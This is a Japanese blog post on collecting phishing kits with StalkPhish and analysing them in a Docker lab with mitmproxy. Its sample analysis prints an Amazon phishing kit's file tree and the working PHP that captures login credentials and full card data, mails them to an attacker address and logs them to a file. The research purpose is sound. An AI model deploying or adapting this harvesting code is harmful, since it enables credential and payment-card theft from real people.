LoginSignup
41
32

Dockerで始めるフィッシングキットの収集・分析

Last updated at Posted at 2022-01-29

環境
OS : macOS 12.2
Docker Engine : 20.10.12

フィッシングキットについて

簡単に説明すると、フィッシングサイトを簡単に構築するためのツールみたいなもの。
これを使うことで、誰でも簡単かつ大量にフィッシングサイトを構築することが可能になる。

フィッシングキットのサンプル

サンプルとしてAmazonのフィッシングキットを見てみる。
zipファイルの中身を表示する。

Amazon
├── Billing.php
├── Help.php
├── action_page.php
├── action_page_2.php
├── cc-lRj.png
├── confirmed.php
├── content
│   ├── 81Ma9HXt-LL._SS100_.png
│   ├── ADBLCRE_928_AmazonBeaconWW3._V144350231_.png
│   ├── BeaconSprite-US-01._V141013396_ (1).png
│   ├── BeaconSprite-US-01._V141013396_.png
│   ├── FO_WOMEN._V144617813_.png
│   ├── Gamer_Weekend_GNO._V142953523_.png
│   ├── US-secure-combined-1939234223_.css
│   ├── acorn._V192250692_.gif
│   ├── add-to-cart-106x22._V197414670_.gif
│   ├── amazon_logo_no-org_mid._V153387053_.png
│   ├── amznbtn-sprite03._V163527511_.png
│   ├── amznbtn-sprite03.png
│   ├── andy-mac_sport_flyout5._V144191585_.png
│   ├── ap-flex-reduced-nav-1.1._V148627780_.js
│   ├── ap-flex-reduced-nav-2.0._V393733149_.js
│   ├── ap-flex-reduced-nav._3C8_.css
│   ├── blank-pixel._V192192429_.gif
│   ├── books_bob-so-far_flyout._V144559233_.png
│   ├── browse_kindle-092811-02._V142508713_.png
│   ├── btn-close._V192250694_.gif
│   ├── btn_close._V192188154_.gif
│   ├── btn_close.gif
│   ├── close-tan-sm-dn._V192185961_.gif
│   ├── close-tan-sm._V192185930_.gif
│   ├── confirm-card._V17236_.png
│   ├── css-buttons-6.01._V147297482_.css
│   ├── css_left.gif
│   ├── deal_notifier-v47._V143310980_.js
│   ├── deal_notifier-v47._V14397098.js
│   ├── done.png
│   ├── dvg-thq-actionpack-2_flyout._V142988783_.png
│   ├── error-sprite-mini.gif
│   ├── error-sprite.gif
│   ├── favicon.gif
│   ├── forester-client-min-4090235136._V1_.js
│   ├── fwcim._V182746849_.js
│   ├── gno2a._V144250862_.png
│   ├── index.php
│   ├── jquery-1.2.6.min._V253690767_.js
│   ├── jserrors-min-3150624353._V1_.js
│   ├── kindle-family-02b._V139448121_.jpg
│   ├── left-arrow-semi-rd._V17361814_.gif
│   ├── loadIndicator-label.gif
│   ├── loading-bar-small._V192188123_.gif
│   ├── loading-small._V192238939_ (1).gif
│   ├── loading-small._V192238939_.gif
│   ├── nav-pop-8bit-h._V155961234_.png
│   ├── nav-pop-8bit-v._V155961234_.png
│   ├── nav-pop-h-v2._V137157005_.png
│   ├── nav-pop-v-v2._V137157005_.png
│   ├── navAmazonLogoFooter._V169459313_.gif
│   ├── navPackedSprites-US-22._V183711640_.png
│   ├── no-img-sm._V192198896_.gif
│   ├── orange_bullet.png
│   ├── po_bottom._V265110084_.png
│   ├── po_bottom.png
│   ├── po_bottom_left._V265110084_.png
│   ├── po_bottom_left.png
│   ├── po_bottom_right._V265110087_.png
│   ├── po_bottom_right.png
│   ├── po_left.png
│   ├── po_left_17._V248144977_.png
│   ├── po_right.png
│   ├── po_right_17._V248144979_.png
│   ├── po_top._V265110086_.png
│   ├── po_top.png
│   ├── po_top_left._V265110087_.png
│   ├── po_top_left.png
│   ├── po_top_right._V265110087_.png
│   ├── po_top_right.png
│   ├── right-arrow-semi-rd._V17361809_.gif
│   ├── save_and_add_payment_yellow._V162939631_.gif
│   ├── save_and_continue_white._V162939616_.gif
│   ├── shipment_large_lt._V192250661_.gif
│   ├── sign-in-secure._V192194766_.gif
│   ├── site-wide-7888076775._V1_.js
│   ├── site-wide-9224333_V1_.css
│   ├── site-wide-a04329._V1_.css
│   ├── sliced-box-bl._V47082482_.gif
│   ├── sliced-box-br._V47062575_.gif
│   ├── sliced-box-tbevel._V47082452_.gif
│   ├── sliced-box-tl._V6007502_.gif
│   ├── sliced-box-tr._V6007499_.gif
│   ├── snake._V192571611_.gif
│   ├── snake.gif
│   ├── spinneralert._V194172225_.gif
│   ├── sprite-arrow-v._V219326286_.png
│   ├── sprite-h._V156433805_.png
│   ├── sprite-h._V219326280_.png
│   ├── sprite-site-wide-2._V163715549_.png
│   ├── sprite-v._V197405518_.png
│   ├── sprite-v._V219326283_.png
│   ├── texttrace_typ._V183418138_.js
│   ├── toys-summer-flyout._V147747402_.png
│   ├── transparent-pixel._V192234675_.gif
│   ├── viewcartcheckoutmedium._V195191215_.gif
│   ├── wcs-css-buttons-31245272._V1_.css
│   ├── wcs-ya-homepage-293453433._V1_.css
│   ├── wcs-ya-homepage-cn-2642342._V1_.css
│   └── wcs-ya-homepage-cn-merged-714969038._V1_.css
├── cvv.gif
├── files_billing2
│   ├── css
│   │   ├── Style.css
│   │   ├── bootstrap.min.css
│   │   ├── check.css
│   │   ├── images - Copy.png
│   │   ├── images.png
│   │   ├── index.php
│   │   ├── style-login-desktop.css
│   │   └── style-login-mobile.css
│   ├── img
│   │   ├── 33.gif
│   │   ├── account.png
│   │   ├── btn.png
│   │   ├── btn2.png
│   │   ├── favicon.ico
│   │   ├── footer-login-desktop.png
│   │   ├── footer-login-mobile.png
│   │   ├── footer.png
│   │   ├── header-desktop.png
│   │   ├── header-mobile.png
│   │   ├── i1.png
│   │   ├── i2.png
│   │   ├── i3.png
│   │   ├── i4.jpg
│   │   ├── icon-app.jpg
│   │   ├── index.php
│   │   ├── login-desktop.png
│   │   ├── login-mobile.png
│   │   ├── navbar-repeat-desktop.png
│   │   ├── navbar-repeat-login.png
│   │   ├── navbar-repeat-mobile.png
│   │   ├── navbar.png
│   │   ├── payment.png
│   │   ├── sub-navbar.png
│   │   ├── vbv.png
│   │   └── vbv2.png
│   ├── index.php
│   └── js
│       ├── ccFormat.js
│       ├── index.php
│       ├── jquery.creditCardValidator - Copy.js
│       ├── jquery.creditCardValidator.js
│       ├── jquery.maskedinput.js
│       ├── jquery.min.js
│       ├── script-login-desktop.js
│       └── script-login-mobile.js
├── index.php
└── to.php

content配下にフィッシングサイトに使われている画像が保存されている。
Amazonに関係ない画像も含まれている。
スクリーンショット 2022-01-24 19.45.44.png
また、to.phpに攻撃者のメールアドレスが書かれている。

to.php
<?php
$TO = "xxx@gmail.com";
?>
//メールアドレスの一部をxxxに置き換えている。

「action_page.php」では、メールアドレスとパスワード・IPアドレスなどのトラッキング情報を「rezult.txt」に保存し、「to.php」に書かれているメールアドレスに送信している。

action_page.php
<?php
include "to.php";
$Email = $_POST['Email'];
$Pass = $_POST['Pass'];
$Date = "" . date("Y/m/d") . "";
date_default_timezone_set("Asia/Jerusalem");
$Time = "Asia/Jerusalem " . date("h:i:sa");
$Link = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$IP = getenv("REMOTE_ADDR");
$BILSMG = "
-------------- Amazon-1 -------------
Email : $Email
Pass : $Pass
-------------- IP Tracing ------------
IP : $IP
Browser:".$_SERVER['HTTP_USER_AGENT']."
Link : $Link
Date : $Date / Time : $Time
---------- Coded & Tools By Hitman ---------";
$MAIL_TITLE = "Login | ".$IP."";
$MAIL_HEADER = "From: Amazon.Info";
@mail($TO,$MAIL_TITLE,$BILSMG,$MAIL_HEADER);
$handle = fopen("rezult.txt", "a");
fwrite($handle,$BILSMG);
$x=md5(microtime());

echo "<META HTTP-EQUIV='refresh' content='1; URL=Billing.php'>";exit;

?>

「action_page_2.php」では、クレジットカードの情報・IPアドレスなどのトラッキング情報を「rezult.txt」に保存し、 to.phpに書かれているメールアドレスに送信している。

action_page_2.php
<?php
include "to.php";
$CCName  = $_POST['CCName'];
$card_number= $_POST['card_number'];
$Month   = $_POST['Month'];
$Year   = $_POST['Year'];
$CVV     = $_POST['CVV'];
$Address = $_POST['Address'];
$City    = $_POST['City'];
$State   = $_POST['State'];
$ZipCode = $_POST['ZipCode'];
$Country = $_POST['Country'];
$PhoneNumber = $_POST['PhoneNumber'];
$Date = "" . date("Y/m/d") . "";
date_default_timezone_set("Asia/Jerusalem");
$Time = "Asia/Jerusalem " . date("h:i:sa");
$Link = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$IP = getenv("REMOTE_ADDR");
$BILSMG = "
-------------- Amazon-2 -------------
CCName : $CCName
card_number : $card_number
Month : $Month / Year : $Year
CVV : $CVV
Address : $Address
City : $City
State : $State
ZipCode : $ZipCode
Country : $Country
PhoneNumber : $PhoneNumber
-------------- IP Tracing ------------
IP : $IP
Browser:".$_SERVER['HTTP_USER_AGENT']."
Link : $Link
Date : $Date / Time : $Time
---------- Coded & Tools By Hitman ---------";
$MAIL_TITLE = "Credit Card | ".$IP."";
$MAIL_HEADER = "From: Amazon.Info";
@mail($TO,$MAIL_TITLE,$BILSMG,$MAIL_HEADER);
$handle = fopen("rezult.txt", "a");
fwrite($handle,$BILSMG);
$x=md5(microtime());

echo "<META HTTP-EQUIV='refresh' content='1; URL=confirmed.php'>";exit;

?>

フィッシングキットを分析する目的

・対象のフィッシングサイトがどのような挙動をするのか。
・盗んだ情報がどこに送られるのか。(攻撃者の追跡)

フィッシングキットの収集

StalkPhishについて

フィッシングキットを展開するときに、フィッシングキットのURLが含まれていることがある。
このツールは下記のフィッシングレポジトリからフィッシングサイトのURLを収集し、その中にフィッシングキットのURLがないか探してくれる。
urlscan.io
urlquery
PhishTank
OpenPhish
PhishStats
Phishing.Database
※urlscan.ioとPhishTankはAPIKeyが必要。

環境構築

docker-compose.ymlが置いてあるディレクトリで下記コマンドを実行するだけで構築できる。

$ docker-compose up --build -d

使ってみる 

example.confが設定ファイルになっている。
まず、下記のコマンドでフィッシングサイトを収集する。

$ docker exec -it stalkphish sh
/ # cd /opt/StalkPhish/stalkphish/
/opt/StalkPhish/stalkphish # ./StalkPhish.py -c conf/example.conf

実行画面
スクリーンショット 2022-01-23 13.05.13.png
収集したURLから、フィッシングキットをダウンロードしたい場合は、-Gをつける。
ダウンロードしたフィッシングキットはデフォルトの設定では、./dl/に保存される。

/opt/StalkPhish/stalkphish # ./StalkPhish.py -c conf/example.conf -G

特定のフィッシングサイトを収集したい場合は、-sをつける。

/opt/StalkPhish/stalkphish # ./StalkPhish.py -c conf/example.conf -s amazon
///「amazon」のキーワードで収集

収集したフィッシングサイトのURLはsqlite3で見ることができる。

/opt/StalkPhish/stalkphish # sqlite3 ./db/StalkPhish.sqlite3 'select * from StalkPhish'

スクリーンショット 2022-01-23 13.19.21.png

フィッシングキットの分析

PhishPondについて

Docker上でフィッシングキットを分析できるようにしたもの。
仮想ブラウザやmitmproxyなどのツールが含まれている。

環境構築

wwwフォルダ(welcome.phpが置いてあるところ)に、展開したフィッシングキットを置く。
docker-compose.ymlが置いてあるディレクトリで下記コマンドを実行するだけで構築できる。

$ docker-compose up -d

localhost:5800で仮想ブラウザ、localhost:8080でmitmproxyにアクセスできる。
スクリーンショット 2022-01-29 12.05.05.png

証明書の設定

  1. 仮想ブラウザ(Firefox)の設定画面で、「view certificates」を開く。
  2. 「Authorities」タブの「Import」をクリック。
  3. 「/config/certs/mitmproxy-ca-cert.pem」を選択する。
    スクリーンショット 2022-01-29 12.13.34.png
  4. 「Trust this CA to identify websites」にチェックを入れてOKをクリック。
    スクリーンショット 2022-01-29 12.15.41.png
    これで環境構築は完了する。

使ってみる

Amazonのフィッシングサイト(上のサンプルとは別のもの)にアクセスしてみる。
スクリーンショット 2022-01-30 0.35.27.png
mitmproxyの画面でトラフィックを分析できる。
スクリーンショット 2022-01-30 0.36.58.png
メールアドレスとパスワードを入力すると、電話番号やクレジットカード番号などの情報を入力する画面に遷移する。
スクリーンショット 2022-01-30 0.38.18.png
その時に、メールアドレスとパスワードの情報が送信されていることがわかる。
スクリーンショット 2022-01-30 0.38.53.png
これらの情報の入力が完了し、3Dセキュアの画面に遷移したときにクレジットカード番号などの情報が送信されている。
スクリーンショット 2022-01-30 0.41.21.png
スクリーンショット 2022-01-30 0.42.32.png
3Dセキュアの情報を入力すると、これらの情報も送信されている。
スクリーンショット 2022-01-30 0.43.58.png

Firefoxの文字化けについて

デフォルトの設定のままで、日本語のフィッシングサイトを表示すると文字化けしてしまう。
そのため、docker-compose.ymlの下記の矢印の部分を追加する必要がある。

docker-compose.yml
  browser:
    build:
      context: https://github.com/jlesage/docker-firefox.git
      shm_size: '2gb'
    ports:
      - "5800:5800"
    container_name: 'firefox'
    volumes:
      - browser-volume:/config:rw
      - mitm-volume:/config/certs/
    depends_on:
      - mitmproxy
    links:
      - mitmproxy
      - webserver
    networks:
      - phishpond_network
    environment:
      - FF_PREF_PROXY_TYPE=network.proxy.type=1
      - FF_PREF_HTTP_PROXY=network.proxy.http=\"mitmproxy\"
      - FF_PREF_HTTP_PROXY_PORT=network.proxy.http_port=8080
      - FF_PREF_HTTPS_PROXY=network.proxy.ssl=\"mitmproxy\"
      - FF_PREF_HTTPS_PROXY_PORT=network.proxy.ssl_port=8080
      - FF_PREF_CAPTIVE_PORTAL=network.captive-portal-service.enabled=false
      - DISPLAY_WIDTH=1280
      - DISPLAY_HEIGHT=768
      - ENABLE_CJK_FONT=1  <--- 追加

フィッシングキットの参考情報

StalkPhish

0xDanielLopez/phishing_kits

フィッシングキット16shopの分析記事

某のフィッシングキットから見る、調査のときに留意したいクローキングのこと

41
32
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
41
32